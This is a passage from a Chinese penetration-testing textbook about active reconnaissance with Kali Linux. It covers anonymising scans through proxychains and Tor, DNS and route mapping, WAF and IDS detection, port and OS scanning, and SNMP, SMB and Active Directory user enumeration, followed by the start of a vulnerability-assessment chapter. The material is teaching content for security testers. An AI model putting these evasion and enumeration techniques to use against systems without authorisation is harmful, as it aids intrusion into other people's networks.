 ·某些应用程序和服务无法在这样的环境下运行，实际上，Metasploit与nmap可能不能运行。nmap的隐式SYN扫描被ProxyChain终止，且连接扫描被调用。这可能会泄露信息。
 
 ·某些浏览器的应用程序（ActiveX、Adobe的PDF应用、Flash、Java、RealPlay和QuickTime），可能被用于获取你的IP地址。
 
 ·攻击者也可以使用随机链接。使用此选项，ProxyChain将从列表中随机选择IP地址（本地以太网IP，例如127.0.0.1，192.168.x.x或172.16.x.x），并用它们来创建ProxyChain。这意味着每次使用ProxyChain时，代理链将看起来与目标不同，从而更难从源头跟踪流量。
 
 ·为此，以类似的方式编辑/etc/proxychains.conf文件，将dynamic chains改为注释，取消random_chain注释，因为我们一次只能使用一个选项。
 
 ·此外，攻击者可以使用chain_len取消注释行，然后在创建一个随机代理链时确定链中的IP地址数。
 
 这项技术可以让攻击者在网上保持匿名。
 
 [image: ]Tor-Buddy脚本允许你控制Tor IP地址的刷新频率，但是自动识别用户的信息非常困难（http://sourceforge.net/projects/linuxscripts/files/Tor-Buddy/）。
 
 
 3.2　DNS侦察和路由映射
 
 一旦测试人员确定其感兴趣的目标在线，下一步就是识别目标的IP地址和路由。
 
 DNS侦察关心的是：识别谁拥有一个特定域或一系列IP地址（这些信息可以通过whois获取，尽管该行为被欧盟颁布的《通用数据保护条例》禁止），定义实际域名的DNS信息和标识目标的IP地址，以及在渗透测试人员或攻击者与最终目标之间的路由。
 
 搜集这些信息是半主动的，一些信息是免费开源的（例如DNSstuff.com），而另一些信息则来自第三方实体（例如DNS注册机构）。虽然注册机构可能会收集IP地址和关于攻击者的请求数据信息，但很少提供终端目标信息。而那些能被目标直接检测到的数据（例如DNS服务器日志）往往不会受到审查，甚至不会保留。
 
 由于所需要的信息能被确定的系统性方法查询到，因此可以自动收集这些信息。
 
 [image: ]DNS信息可能包括旧的或者不正确的单元。为了最小化错误的信息，可以查询不同源服务器以及用不同的工具来交叉验证结果。评估结果，并人工验证任何可疑的发现。
 
 whois命令（后GDPR时代）
 
 多年来，whois命令一直是用于识别IP地址的第一步，直到《通用数据保护条例》实施。之前，该命令允许人们查询互联网资源中的相关信息数据库，数据库包含注册用户的域名或IP地址。依赖于查询的数据库，对whois请求的响应将会提供名字、物理地址、电话号码和电子邮件地址（可用于社会工程学攻击），也包括IP地址和DNS服务器名。2018年5月25日以后，数据库不再提供注册用户的个人资料。但是，攻击者知道，whois服务器的响应和检索域数据的结果，包括可用性、所有权、创建、过期时间信息，以及域名。
 
 图3-6显示了使用whois命令获取cyberhia.com域的相关信息。
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 图3-6　使用whois命令获取cyberhia.com域的相关信息
 
 
 3.3　利用综合侦察应用程序
 
 虽然Kali包含多个工具以促进侦察，但是许多工具包含相同的功能，将数据从一个工具导入另一个通常也是一个复杂的手动过程。大多数测试者会选择工具的一个子集，并使用脚本调用它们。
 
 最初的综合侦察工具是命令行工具，附带一组定义的功能。其中最常用的是DMitry（Deep Magic Information Gathering Tool，DMitry）工具。DMitry可以执行whois查询、检索netcraft.com信息、搜索子域、电子邮件地址，并进行TCP扫描。不幸的是，除了这些功能，它是不可扩展的。
 
 图3-7提供了在www.cyberhia.com上运行DMitry的详细信息：
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 近来提出的综合框架应用程序结合了主动侦察和被动侦察。接下来我们将详细介绍recon-ng框架。
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 图3-7　在www.cyberhia.com上运行DMitry
 
 
 3.3.1　recon-ng框架
 
 recon-ng框架是进行（主动和被动）侦察的开源框架。与Metasploit框架和社会工程学工具包（Social Engineer Toolkit，SEToolkit）类似，recon-ng采用了模块化的框架。每个模块都是一个定制的cmd解析器，为执行特定任务做预配置。
 
 recon-ng框架及其模块是用Python编写的，允许渗透测试人员轻松地构建或改变模块以方便测试。
 
 recon-ng框架工具利用第三方API进行一些评估，这种额外的灵活性意味着reconng采取的一些活动可能会被第三方跟踪。用户可以自定义一个useragent字符串或代理请求，以尽量减少警告目标网络。
 
 Kali的新版中默认都安装了recon-ng。通过recon-ng收集的所有数据被放置在一个数据库中，使你能够创建针对存储数据的各种报告。用户可以选择报告模块中的任意一个来自动创建，可以是CVS报告，也可以是HTML报告。
 
 要启用程序，在提示符下输入recon-ng，如图3-8所示。初始屏幕将显示本模块的数量，并且help命令将显示可用于导航的命令。
 
 要显示可用的模块，在类型提示符recon-ng>后输入show。要加载特定的模块，输入load，其后紧跟模块的名称。在输入时，按下Tab键会自动补全输入的命令。如果模块具有独特的名称，可以输入名称的独特之处，这样不必输入完整路径就可加载模块。
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 图3-8　输入recon-ng命令启动程序
 
 输入info将提供模块工作的信息，以及在必要时于何处获得API密钥。
 
 一旦模块被加载，使用set命令设置选项，然后输入run来执行，如图3-9所示。
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 图3-9　使用info查看模块
 
 总的来说，测试人员依靠recon-ng可以完成以下几点：
 
 ·使用Whois来获得连接，包括Jigsaw、Linkedin和Twitter（用mangle模块提取并呈现电子邮件数据）。
 
 ·识别主机。
 
 ·使用hostop、ipinfodb、maxmind、uniapple和wigle识别主机及个人的地理位置。
 
 ·使用netcraft及相关模块识别主机信息。
 
 ·识别以前被攻击入侵过并在互联网上泄露过的账户及其密码信息（pwnedlist模块、wascompanyhacked、xssed和punkspider）。
 
 IPV4
 
 IP（互联网协议）地址是识别连接到私有网或者公共网的设备的唯一号码。当今的互联网大部分是基于IPv4的。Kali包含几个工具用来方便DNS侦察，如表3-2所示。
 
 表3-2　Kali DNS侦察的几个工具
 
  
  [image: ] 
 
 
 测试期间，大多数调查者运行fierce来确认已经识别的所有可能的目标，然后运行至少两个综合性的工具（例如dnsenum和dnsrecon）来生成最多的数据，并提供一个交叉验证等级。
 
 下面使用dnsrecon生成一个标准的DNS记录搜索，并且这个搜索是特定于SRV记录的。每个例子的结果摘录见图3-10。
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 图3-10　dnsrecon搜索域名相关信息结果
 
 dnsrecon允许渗透测试人员获得SOA记录、名称服务器（Name Server，NS）、邮件交换（Mail Exchanger，MX）主机、使用发送者政策框架（Sender Policy Framework，SPF）发送电子邮件的服务器，以及使用的IP地址范围。
 
 IPV6
 
 虽然IPv4似乎允许一个很大的地址空间，但是，免费可用的IP地址在几年前就已经耗尽了，必须使用NAT技术来提升可用地址的数量。一个更持久的解决方法已经找到，即采用改进的IP地址方案——IPv6。虽然只有少于5%的互联网在使用IPv6地址，但它的使用率的确在增长，渗透测试人员必须处理IPv4和IPv6之间的不同。
 
 在IPv6中，源地址和目标地址的长度都是128位，可扩展为2128个可能的地址，也就是3.4×1038个地址。
 
 随着可寻址地址空间大小的增加，地址空间给渗透测试人员也带来了一些问题，尤其是使用扫描器在可用地址空间中寻找在线服务器的时候。然而IPv6协议的一些特征已经简化了发现过程，尤其是可以使用ICMPv6确定活跃的本地链路地址。
 
 在进行初始扫描时，必须考虑IPv6，原因如下：
 
 ·测试工具对IPv6功能的支持不是普遍的，所以测试人员必须确定每一个工具在IPv4、IPv6、混合网络中的性能和准确性。
 
 ·由于IPv6是一个相当新的协议，目标网络可能包含泄露重要数据的错误配置，测试人员必须准备好识别并利用这个信息。
 
 ·早先的网络协议（防火墙、IDS和IPS）可能不会测出IPv6。在这些情况下，渗透测试人员可以利用IPv6信道保持与网络的隐蔽通信，并泄露出未检测到的数据。
 
 
 3.3.2　使用IPv6专用工具
 
 Kali包含几个利用IPv6的工具（大多数综合的扫描器，例如nmap，现在也支持IPv6），见表3-3，绝大部分支持IPv6的工具源自THC-IPv6攻击包。
 
 表3-3　Kali包含的支持IPv6的工具
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 Metasploit也可以用于IPv6主机发现。auxiliary/scanner/discovery/ipv6_multicast_ping模块将发现具有物理（MAC）地址的所有启用IPv6的计算机，如图3-11所示。
 
 THC IPv6套件atk6-alive6将发现同一段中的活跃地址，如图3-12所示。
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 图3-11　执行auxiliary/scanner/discovery/ipv6_multicast_ping命令
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 图3-12　执行atk6-alive6命令
 
 
 3.3.3　映射路由到目标
 
 路由映射最开始是一个路由诊断工具，用于查看IP数据包从一个主机到另一个主机的路由连接。通过使用IP数据包中的存活时间TTL（Time To Live）变量，每一跳（hop）在从一点到下一点时，从接收路由器引出一个ICMPTIME_EXCEEDED消息，同时TTL字段的值减1。数据包会计算跳以及使用的路由器的数量。
 
 从攻击者或者渗透测试人员的角度看，traceroute数据有以下重要数据：
 
 ·攻击者与目标之间的准确路径。
 
 ·关于网络外部拓扑结构的提示。
 
 ·识别可能过滤攻击流的访问控制设备（防火墙和包过滤路由器）。
 
 ·如果网络配置错误，可能会识别内部地址。
 
 [image: ]使用基于Web的traceroute（www.traceroute.org），可以追查到目标网络不同地理位置的源站点。这些形式的扫描，可以识别不止一个连接目标的不同网络，在一个接近目标网络的位置，通过执行单个的traceroute，可能忽略掉一些扫描识别信息。基于Web的traceroute可能识别多重初始地址的主机，该主机把两个或者更多个网络连接起来。这些主机是攻击者的重点攻击目标，因为它们大幅度提高了对目标网络的攻击面。
 
 在Kali系统中，traceroute是一个命令行程序，利用ICMP包来映射路由。在Windows系统中，该程序是tracert。
 
 如果在Kali中启动traceroute，你可能看到大多数过滤掉的跳（用***表示数据）。例如，从作者现在的位置到demo.cyberhia.com，执行traceroute命令的结果如图3-13所示。
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 图3-13　在Kali中使用traceroute命令
 
 然而，如果在Windows命令行中用tracert执行相同的请求，我们会看到如图3-14所示的信息。
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 图3-14　在Windows中使用tracert命令
 
 我们不仅能得到完整的路径，而且还能看到www.google.com正被解析为一个略有不同的IP地址，这表明负载均衡器是起作用的（你可以使用Kali的lbd脚本来确认其是否起作用，当然，该活动可能被目标站点记录）。
 
 不同路径数据存在的原因是，默认情况下，traceroute使用UDP数据报，而在Windows中，tracert使用ICMP返回请求（ICMP type 8）。因此，当使用Kali工具完成一个traceroute时，为了获得最完整的路径并绕过数据包过滤设备，使用多重协议是很重要的。
 
 Kali提供下列工具来完成路由追踪，见表3-4。
 
 表3-4　Kali提供的路由追踪工具
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 由于对数据包类型、源数据包，以及目的地数据包的控制，hping3已成为最有用的工具之一。例如，Google不允许ping请求。然而，如果将数据包作为一个TCP SYN请求发送，则有可能ping通服务器。
 
 在下面的例子中，测试员试图在命令行中ping通Google。返回的数据确定了demo.cyberhia.com是一个未知的主机。Google很明显阻塞了基于ICMP的ping命令。然而，下一条命令调用了hping3，命令它做以下事情：
 
 ·使用有SYN标识集（-S）的TCP向Google发送一个类ping命令。
 
 ·把数据包直接发送到80端口，该类型的合法请求是很少被阻塞的（-p 80）。
 
 ·为发送给目标的三个数据包设置计数（-c 3）。
 
 执行上面的步骤所使用的命令行如图3-15所示。
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 图3-15　在Kali中使用ping命令和hping3命令
 
 hping3命令成功地确定了目标在线，并提供了一些基本的路由信息。
 
 
 3.4　识别外部网络基础设施
 
 一旦测试者的身份被保护，扫描网络的关键第一步就是确定在网络上的互联网可接入部分的设备。
 
 攻击者和渗透测试人员使用这些信息来做到以下几点：
 
 ·确定可能混淆（负载均衡器）或消除（防火墙和数据包检查设备）测试结果的设备。
 
 ·识别已知漏洞的设备。
 
 ·识别继续实施秘密扫描的需求。
 
 ·获得目标对安全体系结构和一般安全性的关注的理解。
 
 traceroute提供了关于包过滤能力的基本信息。Kali包括的一些其他应用如表3-5所示。
 
 表3-5　Kali的一些常见应用
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 图3-16显示的是在Google上运行lbd脚本获得的结果。你可以看到，Google在它的网站上同时使用了DNS–Loadbalancing与HTTP–Loadbalancing。从渗透测试者的角度来看，这些信息可以用来解释为什么得到的是杂散的结果，因为负载均衡器作为一个特定的工具，将活动从一个服务器转移到了另一个服务器。
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 图3-16　针对Google的测试结果
 
 
 3.5　防火墙外映射
 
 攻击者通常使用traceroute实用程序启动网络调试，该程序尝试把路由上的所有主机映射到特定的目标主机或系统上。一旦目的到达，TTL字段将为零，则目标将丢弃该数据报并生成超过ICMP时间的数据包返回到发起者。定期的traceroute如图3-17所示。
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 图3-17　执行traceroute程序进行路由跟踪
 
 从上面的例子可以看出，我们不能绕过一个特定的IP：这意味着最有可能在第4跳有一个包过滤设备。攻击者会深入了解该IP上部署的内容。
 
 部署默认UDP数据报选项，它会在每次发送UDP数据报时增加端口号。因此，攻击者将开始指向一个端口号码以达到最终的目标地址。
 
 
 3.6　IDS/IPS识别
 
 渗透测试员可以利用fragroute和Wafw00f来识别特定位置是否存在任何检测或预防机制，例如入侵检测系统（Intrusion Detection System，IDS）/入侵防御系统（Intrusion Prevention System，IPS）/Web应用防火墙（Web Application Firewall，WAF）。
 
 fragroute是Kali Linux中的一个默认工具，它可以执行数据包分段。网络数据包允许攻击者拦截、修改并重写到特定目标的出口流量。该工具在高度安全的远程环境中非常方便。
 
 图3-18提供了fragroute中确定网络ID的选项列表。
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 图3-18　使用fragroute命令
 
 攻击者还可以编写自定义配置来执行片段攻击：延迟、复制、丢弃、分段、重叠、重新排序、源路由和分割。图3-19是一个自定义配置的示例。
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 图3-19　fragroute自定义配置
 
 对目标实施fragroute只需运行fragroute target.com。如果target.com发生任何连接，攻击者就可以看到要发送到target.com的流量。注意，只有存在到目标的路由时，才能将路由分段。如图3-20所示，IP段按照自定义配置文件分段。
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 图3-20　查看其他IP发送到目标IP所用流量
 
 攻击者在主动侦察期间利用的另一个工具是wafw00f。此工具预安装在最新版本的Kali Linux中。它用于识别和指纹Web应用程序防火墙（Web Application Firewall，WAF）产品。它还提供了众所周知的WAF列表。可以通过在命令中输入-l（例如wafwoof -l）来列出该列表。
 
 图3-21显示了在Web应用程序后运行的WAF。
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 图3-21　WAF列表
 
 
 3.7　枚举主机
 
 主机枚举是获得已定义主机的特定细节的过程。仅仅知道服务器或无线接入点存在是不够的，我们还需要确定开放端口、基本操作系统、运行的各种服务、支撑的各种应用等内容，来不断扩大攻击面。
 
 这具有高度的侵入性，除非特别小心，否则主动侦察将被目标系统检测到，并被记录。
 
 发现活跃主机
 
 第一步是运行针对目标地址空间的网络ping扫描并寻找答复，特别的信息会表明一个特定的目标是活跃的、有能力应答的。从历史经验看，ping侦测主要使用ICMP。当然，TCP、UDP、ICMP和ARP通信也可用于认证主机的活跃情况。
 
 各种扫描器都可以通过Internet远程运行，用来识别活跃主机。虽然主扫描器是nmap，但Kali提供的另外几种应用也是有用的，如表3-6所示。
 
 表3-6　Kali提供的几种扫描工具
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 对于渗透测试者或攻击者，从活跃主机发现返回的数据可用来确定攻击目标。
 
 [image: ]进行渗透测试的同时，运行多个主机发现扫描。某些设备可能是时间相关的。在一次渗透测试中，发现系统管理员在正常工作时间结束后，设置了一个游戏服务器。因为游戏服务器不是一个经批准的商业系统，管理员没有按照正常的流程来保护服务器。在其上发现了多个脆弱的服务，它们并没有打上必要的安全补丁。测试人员能够攻击游戏服务器，在管理员的游戏服务器中，使用漏洞并获得企业网络的底层接入。
 
 
 3.8　识别端口、操作系统和服务
 
 Kali提供了几种不同的有用工具，用于识别远程主机上的开放端口、操作系统和安装的服务。这些功能大多可以使用nmap完成。尽管我们将专注于利用nmap的例子，但基本原则也适用于其他工具。
 
 端口扫描
 
 端口扫描是连接到TCP和UDP端口，以确定何种服务、何种应用程序在目标设备上运行的过程。在每个系统上的TCP和UDP有65 535个端口。某些端口已知与特定服务相关联（例如TCP20和TCP21是用于文件传输协议服务（FTP）的通用端口）。前1024个是众所周知的端口，并且定义的大多数服务在此范围内的端口上运行。被认可的服务和端口由IANA维护（http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml）。
 
 [image: ]虽然，对一些特定的服务存在已被接受的端口，如用于基于网络的流量的80端口接收端口，但是，服务可以直接使用任何端口。此选项通常用于隐藏特定的服务，特别是如果已知该服务是易受攻击的。然而，如果攻击者完成端口扫描，并没有找到预期的服务，或发现它使用了一个不寻常的端口，他们将被提示做进一步调查。
 
 通用端口映射工具nmap依靠活动栈指纹。特制的数据包被发送到目标系统，nmap以操作系统对这些数据包的响应来识别这些操作系统。为了使nmap正常工作，至少须有一个监听端口是开放的，而操作系统必须是已知和有指纹的，还有，该指纹的副本必须在本地数据库。
 
 将nmap用于端口发现是有很大的噪声的，将被网络安全设备检测并记录。要记住如下几点：
 
 ·侧重于隐形技术的攻击者和渗透测试人员只测试那些影响他们所追踪的特定目标的杀链的端口。如果他们已在发起了对Web服务器的漏洞的攻击，他们通过可访问的80端口或8080端口搜索目标。
 
 ·大多数端口扫描器都有一个默认扫描端口列表，确保你知道什么在列表上，什么被省略。同时考虑TCP端口和UDP端口。
 
 ·成功的扫描需要TCP/IP及相关协议、网络和一些特殊工具工作原理的深度知识。例如，SCTP是网络上一个越来越普遍的协议，但它很少在企业网络上测试。
 
 ·即使慢慢来，端口扫描也会影响网络。对一些较旧的网络设备，以及供应商的一些特定设备，在接收或传输端口扫描时会锁定，从而把扫描转换为一个拒绝服务攻击。
 
 ·用来扫描一个端口的工具，尤其是nmap，正在扩展常规的功能。它们也可以用来检测漏洞，甚至利用简单的安全漏洞。
 
 
 3.9　使用netcat编写自己的端口扫描器
 
 攻击者利用代理应用程序和Tor网络，也可以编写自己的网络端口扫描器。通过netcat使用以下命令行，即可在渗透测试中识别开放端口列表，如图3-22所示。
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 图3-22　查看开放端口列表
 
 相同的脚本还可以修改为在单个IP上进行更有针对性的攻击，如下所示：
 
  
  [image: ] 
 
 
 在使用自定义端口扫描器的扫描入侵检测系统时，产生警报的概率很高。
 
 
 3.9.1　指纹识别操作系统
 
 要确定远程系统的操作系统，使用以下两种类型的扫描。
 
 ·主动指纹识别（active fingerprinting）：攻击者通过发送正常的和异常的数据包到目标系统，记录它们的反应模式，称其为指纹（fingerprint）。将指纹与本地数据库进行比较，操作系统可被确定。
 
 ·被动指纹识别（passive fingerprinting）：攻击者嗅探或记录和分析数据包流，以确定该分组的特性。
 
 主动指纹比被动指纹更快、更准确。在Kali中，两个主要的主动工具是nmap和xprobe2。
 
 nmap工具注入数据包到目标网络，并分析它收到的响应。如下命令中，-O标志命令nmap确定操作系统：
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 一个相关的程序——xprobe2使用不同的TCP、UDP和ICMP数据包绕过防火墙，避免被IDS/IPS系统检测。xprobe2还使用模糊模式匹配：操作系统不会被确定为一种类型，相反，会被分配为几个可能的变体之一。
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 注意，目标系统很容易隐藏真实的操作系统。因为指纹软件依赖于分组包设置，如生存时间或初始窗口大小，改变这些值或其他用户可配置的设置，可以改变工具的结果。有些组织积极改变这些值，使侦察的最后阶段更加困难。
 
 
 3.9.2　确定主动服务
 
 侦察的枚举部分的最终目标是确定运行在目标系统上的服务和应用。如果可能的话，攻击者想知道服务类型、供应商和版本，以确定具体的漏洞。
 
 下面是用于确定主动服务的几种技术：
 
 ·确定默认的端口和服务：如果远程系统被识别为微软操作系统且80端口（WWW服务）为打开状态，攻击者可能会认为默认安装的是微软IIS服务器。进一步的测试将用来验证这种假设（nmap）。
 
 ·标志提取：使用amap、netcat、nmap和远程登录等工具完成该任务。
 
 ·审查默认网页：一些应用程序安装使用默认的管理、错误或其他页面。如果攻击者访问这些页面，它们会提供安装应用程序的指导，这可能是攻击的漏洞。在图3-23中，攻击者可以很容易地识别已经安装在目标系统上的Apache Tomcat的版本。
 
 ·审查源代码：配置不当的基于Web的应用程序可能应答某些HTTP请求，如头部（HEAD）或选项（OPTIONS），回应包括Web服务器软件版本，或基础操作系统，或使用的脚本环境。在图3-23中，netcat是从命令行启动的，并用于将原始HEAD数据包发送到特定网站。该请求将生成一个错误消息（404not found）。然而，它也指出，该服务器正在运行Apache2.4.37，应用服务器为PHP5.6.39。
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 图3-23　审查源代码
 
 
 3.10　大规模扫描
 
 在测试具有大量B/C类型的IP地址的大型组织时，往往需要进行大规模扫描。例如，在一个全球化公司中，通常有一些IP分组作为外部互联网的一部分存在。正如第2章中提到的，攻击者的扫描没有时间限制，但渗透测试人员有。测试人员可以使用多种工具来执行此活动。Masscan是其中一种工具，它可以大规模扫描IP分组，并迅速分析目标网络中的活跃主机。Masscan默认安装在Kali中。它的最大优势是随机分配主机、端口、速度、灵活性和兼容性。图3-24提供了一个C类扫描网络，几秒钟内就可以完成并识别80端口上的可用HTTP服务和目标主机上运行的服务。
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 图3-24　利用Masscan进行大规模扫描
 
 
 3.10.1　DHCP信息
 
 动态主机配置协议（Dynamic Host Configuration Protocol，DHCP）是一种为网络上的主机动态分配IP地址的服务。该协议在TCP/IP协议栈的数据链路层的MAC子层上运行。选择自动配置后，客户端将向DHCP服务器发送广播查询，当从DHCP服务器接收到响应时，客户端再向DHCP服务器发送广播查询请求所需信息。服务器现在将为其分配配置参数（如子网掩码、DNS和默认网关）及一个IP地址。
 
 一旦连接到网络，嗅探（Sniffing）就是被动收集信息的最好方法。攻击者能够看到很多广播流量，如图3-25所示。
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 图3-25　攻击者嗅探到各种信息
 
 我们将看到DNS、NBNS、BROWSER和其他协议的流量，而且这些协议可能会泄露主机名、VLAN信息、域，以及活动子网等。我们将在第11章中讨论更多利用嗅探的攻击。
 
 
 3.10.2　内部网络主机的识别与枚举
 
 如果攻击者系统已经配置了DHCP，它会提供一些对内部网络映射非常有用的信息。可以通过在Kali终端输入ifconfig来获得DHCP信息，如图3-26所示。
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 图3-26　用ifconfig命令获取DHCP信息
 
 你将看到以下信息：
 
 ·inet：DHCP服务器获取的IP信息应当给我们提供至少一个活跃的子网，我们可以使用它通过不同的扫描技术来识别实时系统和服务的列表。
 
 ·netmask：此信息可用于计算子网范围，图3-26显示的是255.255.240.0，这意味着CIDR是/20，我们可能期望子网上有4094台主机。
 
 ·默认网关：网关的IP信息将提供ping其他类似网关IP的机会。例如，如果默认网关IP为192.168.1.1，则使用ping扫描攻击者可能能够枚举出其他类似的IP，如192.168.2.1、192.168.3.1等。
 
 ·其他IP地址：可通过访问/etc/resolv.conf文件获取DNS信息。该文件中的IP地址通常在所有子网中进行寻址，域信息也将在同一文件中自动可用。
 
 
 3.10.3　本地MS Windows命令
 
 表3-7提供了渗透测试或红队练习时的有用命令列表，甚至在对系统进行物理访问或远程shell与目标进行通信时也会有用。以下命令只是其中一部分。
 
 表3-7　命令列表
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 3.10.4　ARP广播
 
 在内部网络主动侦察期间，可以使用nmap（nmap-v-sn IPrange）扫描整个本地网络，以嗅探ARP广播。此外，Kali可使用arp-scan（arp-scan IP range）来标识在同一网络上活跃的主机列表。
 
 图3-27提供了针对整个子网运行arp-scan时在目标处生成的流量，这被认为是非秘密扫描。
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 图3-27　查看运行arp-scan时在目标处生成的流量
 
 
 3.10.5　ping扫描
 
 ping扫描是ping整个网络IP地址或单个IP，以查明它们是否活跃和响应的过程。攻击者在任何大规模扫描中的第一步是枚举所有响应的主机。渗透测试人员可以利用fping、nmap，甚至是自己编写的bash脚本进行该活动。
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 有时，由于防火墙阻止所有ICMP流量，攻击者可能会在ping扫描期间遇到路障。在ICMP分组的情况下，可以通过在ping扫描期间指定端口号的特定列表来进行识别，需要使用如下命令：
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 图3-28显示了使用fping工具发现的所有活跃的主机。
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 图3-28　使用fping发现活跃的主机
 
 
 3.10.6　使用脚本组合masscan和nmap扫描
 
 在基于目标的渗透测试策略中，masscan的速度和可靠性与nmap的枚举能力相结合，是一个伟大的组合。本节将编写一个可以节省时间的小脚本，用于在开发过程和确定正确漏洞的过程中提供更准确的结果：
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 现在保存文件到anyname.sh和chmod+x anyname.sh。再运行命令：./anyname.shfilein-cludesipranges。
 
 执行完命令后，你将看到如图3-29所示的画面。
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 图3-29　执行脚本文件
 
 
 3.10.7　利用SNMP
 
 SNMP代表简单网络管理协议。传统上它用于收集有关网络设备配置的信息，如打印机、集线器、交换机、互联网协议的路由器、服务器。攻击者可能会利用在UDP端口161（默认情况下）运行的SNMP，当配置不正确或缺省时，默认配置有一个默认社区字符串（community string）。SNMP自1987年开始开发：版本1传输明文密码，版本2c有一些性能的改进，但仍然是纯文本密码，最新的v3加密了具有消息完整性的所有流量。
 
 在所有版本的SNMP中都有两种类型的社区字符串：
 
 ·Public：用于只读访问的社区字符串。
 
 ·Private：用于读写访问的社区字符串。
 
 攻击者首先要寻找的是互联网上的任何已识别的网络设备，并查明是否启用公共社区字符串，以便他们能够提取特定于网络的所有信息，并绘制拓扑以创建更集中的攻击。这些问题的出现，是因为大多数时间基于IP的访问控制列表（Access Control Listing，ACL）通常未被实现或未被使用。
 
 Kali Linux提供了多种工具来完成SNMP枚举，攻击者可以利用snmpwalk命令了解SNMP步骤的完整信息，如图3-30所示：
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 图3-30　用snmpwalk了解SNMP步骤的完整信息
 
 攻击者还可以使用Metasploit执行SNMP枚举，方法是使用/auxiliary/scanner/snmp/snmpenum模块，如图3-31所示。某些系统已安装SNMP，但系统管理员可能忽略它。
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 图3-31　用Metasploit执行SNMP枚举
 
 攻击者将能够通过Metasploit中的账户枚举模块来提取所有用户账户，如图3-32所示。
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 图3-32　提取目标用户账户
 
 
 3.10.8　通过服务器消息块会话获取Windows账户信息
 
 通常，在内部网络扫描期间，攻击者很有可能利用最常用的内部SMB会话。而在外部，攻击者可以使用nmap来执行枚举，但这种情况非常少见。以下nmap命令将枚举Windows机器上的所有远程用户。此信息通常会创建许多入口点，非常像后期的强制攻击和密码猜测攻击：
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 攻击者还可以使用Metasploit模块——auxiliary/scanner/smb/smb_enumusers来执行活动。图3-33显示了Windows系统上运行Metasploitable3的用户的成功枚举。
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 图3-33　用Metasploitable3执行枚举
 
 这可以通过对系统有效的密码猜测或者强制SMB登录来实现。
 
 
 3.10.9　定位网络共享
 
 如今，已经被遗忘的、渗透测试人员最早使用的攻击之一是NETBIOS空会话，该攻击可以枚举出所有的网络共享：
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 同样，利用enum4linux（类似于来自bindview.com的enum.exe，现由Symantec接管），此工具通常用于枚举来自Windows和Samba系统的信息：
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 选项有（enum）：
 
 ·-U：获取用户列表
 
 ·-M：获取机器列表
 
 ·-S：获取共享列表
 
 ·-P：获取密码策略信息
 
 ·-G：获取组和成员列表
 
 ·-d：详细说明，适用于-U和-S
 
 ·-u user：指定要使用的用户名（默认为""）
 
 ·-p pass：指定要使用的密码（默认为""）
 
 enum4linux能提供更有效的扫描，并可标识域名列表和Domain SID，如图3-34所示。
 
  
  [image: ] 
 
 
 图3-34　用enum4linux扫描IP地址
 
 
 3.10.10　主动侦察目录域服务器
 
 通常在内部渗透测试活动期间，渗透测试人员会获得用户名和密码。在现实中，攻击者在网络上的攻击方案是通过正常的用户访问来提升权限，从而达到攻破企业域的目的。
 
 Kali提供了一个默认安装的rpcclient，可用于在活动目录环境中执行更主动的侦察。该工具提供了多个选项来提取关于域和其他网络服务的所有细节，我们将在第10章中进行探讨。
 
 图3-35提供了域、用户和组列表的枚举。
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 图3-35　用rpcclient工具进行枚举
 

  3.10.11　使用综合工具


  为加快完成渗透测试人员的目标，Kali拥有SPARTA，它结合了多种工具，如nmap、nikto，并且还允许进行配置。为了配置SPARTA，用户必须编辑位于/etc/Sparta/的sparta.conf文件。当应用程序打开时，SPARTA将检查配置，如果没有配置，它将接受默认配置值。


  在配置中可使用以下选项：


  ·工具（Tool）：命令行工具的唯一标识符，例如nmap。


  ·标签（Label）：显示在上下文菜单上的文本。


  ·命令（Command）：通常是非交互模式和使用工具运行的完整命令。


  ·服务（Services）：这些是在自动运行期间需要运行的服务列表，例如，如果用户配置为运行nmap并且自动识别80端口，请运行nikto。


  ·协议（Protocol）：TCP或UDP是工具应该运行于其上的服务。

 
 3.10.12　SPARTA配置实例
 
 要将nikto工具配置为端口操作，我们需要将以下行添加到sparta.conf中的[PortActions]部分：
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 图3-36展示了SPARTA针对本地子网的操作。在默认情况下，SPARTA可以在任何标识的Web服务端口上执行nmap全端口扫描nikto，并且还可以使用截图（如果可用）。
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 图3-36　使用SPARTA对本地子网进行操作
 

  3.11　小结


  攻击者可能面临着其活动被识别的非常真实的风险，而我们现在已经探索了在主动侦察中可以使用的不同技术。攻击者必须确保在进行网络映射、查询开放端口和服务、判定操作系统及安装的应用程序等活动时，需要进行风险和需求的平衡。所以攻击者的真正挑战是采取秘密扫描技术，以降低他们被发现的风险。


  手动方法通常用于创建低速扫描（slow scan），然而，这种做法可能并不总是有效。因此，攻击者可以利用Tor网络以及各种代理程序等工具来隐藏自己的身份。


  第4章我们将探讨更多关于漏洞评估的技术和程序：如何利用扫描器来识别漏洞，这些漏洞可以作为潜在的候选来利用，从而进一步实现目标。


  第4章　漏洞评估


  被动侦察和主动侦察的目的是确定可利用的目标，漏洞评估的目的是找出最有可能支持测试人员或攻击者目标（拒绝服务、盗窃或修改数据）的安全漏洞。在杀链的利用阶段，漏洞评估的重点是创建访问以实现漏洞的目标映射，以排列漏洞和保持对目标的持续访问。


  数以千计可利用的漏洞已经确定，而且大多数是与至少一个概念验证代码文件或技术相关联的，允许系统受到攻击。尽管如此，网络、操作系统和应用程序成功的基本原理是相同的。


  在本章中，你将学习：


  ·使用在线和本地漏洞资源


  ·使用nmap进行漏洞扫描


  ·Lua脚本


  ·用nmap脚本引擎（Nmap Scripting Engine，NSE）编写自己的nmap脚本


  ·选择和自定义各种漏洞扫描器


  ·安装Nexpose和Nessus


  ·通用威胁建模


  4.1　漏洞命名


  漏洞扫描采用自动化过程和自动化应用程序，以确定在网络、系统、操作系统或应用程序中可利用的漏洞。


  当执行正确时，一个漏洞扫描装置提供一个设备清单（授权和恶意设备），已经主动扫描已知的漏洞，通常还会提供一个确认的符合该设备的各种政策和法规的说明。


  不幸的是，漏洞扫描提供一些容易被大多数网络控制检测到的噪声——多分数据包，隐形几乎不可能实现。它们还遭受以下附加的限制：


  ·在大多数情况下，漏洞扫描器是基于签名的，它们只能检测已知的漏洞，且仅当有一个已经存在的识别标志——该扫描仪可以应用于目标。对一个渗透测试者，最有效的扫描软件是开源的，允许测试人员快速修改代码来检测新的漏洞。


  ·扫描器产生大量的输出，通常包含错误结果，可能导致测试人员误入歧途。特别是，不同的操作系统的网络，产生的不正确信息的比率高达70%左右。


  ·扫描器可能对网络有负面影响，它们可以造成网络延迟或导致某些设备的失效推荐通过在初始扫描期间删除拒绝服务类型插件来调整扫描。


  ·在某些控制区，扫描被认为是黑客攻击，并可能构成违法行为。


